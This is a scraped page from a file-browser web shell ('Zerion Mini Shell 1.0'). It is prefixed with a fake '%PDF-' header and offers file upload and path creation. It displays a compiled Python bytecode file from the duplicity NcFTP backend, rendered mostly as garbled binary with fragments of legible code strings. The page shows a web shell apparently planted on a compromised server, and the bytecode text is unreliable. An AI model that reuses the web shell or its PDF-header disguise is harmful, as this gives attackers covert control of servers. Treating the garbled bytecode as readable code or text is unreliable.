%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/duplicity/backends/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/duplicity/backends/__pycache__/ncftpbackend.cpython-312.pyc

�

�2eJ���ddlZddlZddlZddlZddlZddlZddlm	Z	ddlm
Z
ddlmZGd�dejj�Zejjde�ejj j#dg�y)�N)�config)�log)�tempdirc�.�eZdZdZd�Zd�Zd�Zd�Zd�Zy)�NCFTPBackendz4Connect to remote store using File Transfer Protocolc��tjjj||�	t	j
d�}|j
�}|j�}dk7ss.tjdtjj�jd�dj�d}|dkr/tjdtjj�n3|d	k(r.tjd
tj j"�tj$d|���||_tjj)|j&�|_tjj-|j*d�|_d
dg|j.d<|j*ddk7r|xj*dz
c_|j1�|_t4j6dk(rd|_nd|_t;j<�j?�\|_ |_!t	jD|j@d�|_#|jFjId|j&jJ�d��|jFjId|j&jL�d��|jFjId|j2�d��|jFj�d|jB�d|j8�dt4jN�d�|_(|jR�4|jRdk7r$|xjPd|jR�d�z
c_(yyy#t$rY��)wxYw) Nz
ncftpls -viz=NcFTP not found:  Please install NcFTP version 3.1.9 or later�
r�z3.1.9zmNcFTP too old:  Duplicity requires NcFTP version 3.1.9,3.2.1 or later.  Version 3.2.0 will not work properly.z3.2.0z�NcFTP (ncftpput) version 3.2.0 may fail with duplicity.
see: http://www.ncftpd.com/ncftp/doc/changelog.html
If you have trouble, please upgrade to 3.2.1 or laterzNcFTP version is �ncftp�i�ncftpls����/�regularz-Ez-F�wzhost zuser zpass z-f � z -t z -o useCLNT=0,useHELP_SITE=0 �z -P '�')*�	duplicity�backend�Backend�__init__�os�popen�read�close�	Exceptionr�
FatalError�	ErrorCode�ftp_ncftp_missing�split�ftp_ncftp_too_old�Warn�WarningCode�ftp_ncftp_v320�Notice�
parsed_url�strip_auth_from_url�
url_string�strip_prefix�popen_breaks�get_password�passwordr�ftp_connection�conn_optr�default�mkstemp�tempfd�tempname�fdopen�tempfile�write�hostname�username�timeout�flags�port)�selfr'�p�fout�ret�versions      �A/usr/lib/python3/dist-packages/duplicity/backends/ncftpbackend.pyrzNCFTPBackend.__init__%s������!�!�*�*�4��<�	�����&�A��6�6�8�D��'�'�)�C��&�=���N�N�O��
�
�/�/�
��*�*�T�"�1�%�+�+�-�a�0���W���N�N�I��
�
�/�/�
�
��
��H�H�H����.�.�	
�	�
�
�&�w�i�0�1�$���#�+�+�?�?����P���$�+�+�8�8����'�R���
)*�4�y����)�$��?�?�2��#�%��O�O�s�"�O��)�)�+��
�� � �I�-� �D�M� �D�M�%,�_�_�%6�%>�%>�%@�"���T�]��	�	�$�+�+�s�3��
��
�
���e�D�O�O�$<�$<�#=�R�@�A��
�
���e�D�O�O�$<�$<�#=�R�@�A��
�
���e�D�M�M�?�"�5�6��
�
�����4�=�=�/��4�=�=�/��f�n�n�=M�Mj�k��
��?�?�&�:�?�?�b�+@��J�J�E�*�/�/�!2�!�4�4�J�,A�&��q�	��	�s�5M>�>	N�
Nc	�x�tj|�}tjjtj
j
tjdd|jj��|�j�}d|j�d|j�d|�d�}|j|�y)N�^/�z	ncftpput z -m -V -C '�' 'r)r�fsdecode�path�join�urllib�parse�unquote�re�subr'�rstripr:�uc_name�subprocess_popen)r<�source_path�remote_filename�remote_path�commandlines     rA�_putzNCFTPBackend._puths����+�+�o�6���g�g�l�l��L�L� � �����b�$�/�/�2F�2F�!G�H��
��&�(�	�"�$�*�*��[��9L�9L�8M�S�Q\�P]�]^�_�����k�*�c	���tj|�}tjjtj
j
tjdd|jj��|�j�}d|j�d|jj�d|jd��d|j�d�	}|j|�y)NrCrDz	ncftpget z -V -C 'rErr)rrFrGrHrIrJrKrLrMr'rNr:r7�lstriprOrP)r<rR�
local_pathrSrTs     rA�_getzNCFTPBackend._getqs����+�+�o�6���g�g�l�l��L�L� � �����b�$�/�/�2F�2F�!G�H��
��&�(�	�
��
�
�|�8�D�O�O�,D�,D�+E�F��"�"�3�'�(��J�,>�,>�+?�q�
B�	�	
���k�*rVc� �d|j�d|j�d�}|j|�\}}}|jd�D�cgc]=}|s�|j	d�r�tj|j�d���?c}Scc}w)N�ncftpls z -l 'rr	ztotal r)r:r)rPr!�
startswithr�fsencode)r<rT�_�l�xs     rA�_listzNCFTPBackend._list}sr�� �����E�$�/�/�1B�!�D���'�'��4���1�a�45�G�G�D�M�f�q�Q�q�|�|�\d�Oe����A�G�G�I�b�M�*�f�f��fs�B�B� (Bc�f�d|j�d|�d|j�d�}|j|�y)Nr\z
 -l -X 'DELE rEr)r:r)rP)r<�filenamerTs   rA�_deletezNCFTPBackend._delete�s4�� �����M�(��3�t���FW�WX�Y�����k�*rVN)	�__name__�
__module__�__qualname__�__doc__rrUrZrbre�rVrArr"s!��>�A5�F+�
+�g�+rVrz	ncftp+ftp)�os.pathrrL�urllib.errorrI�urllib.parse�urllib.request�duplicity.backendrrrrrrr�register_backend�uses_netloc�extendrjrVrA�<module>rssq��,�	��������d+�9�$�$�,�,�d+�N
���"�"�;��=�	�����$�$�k�]�3rV

Zerion Mini Shell 1.0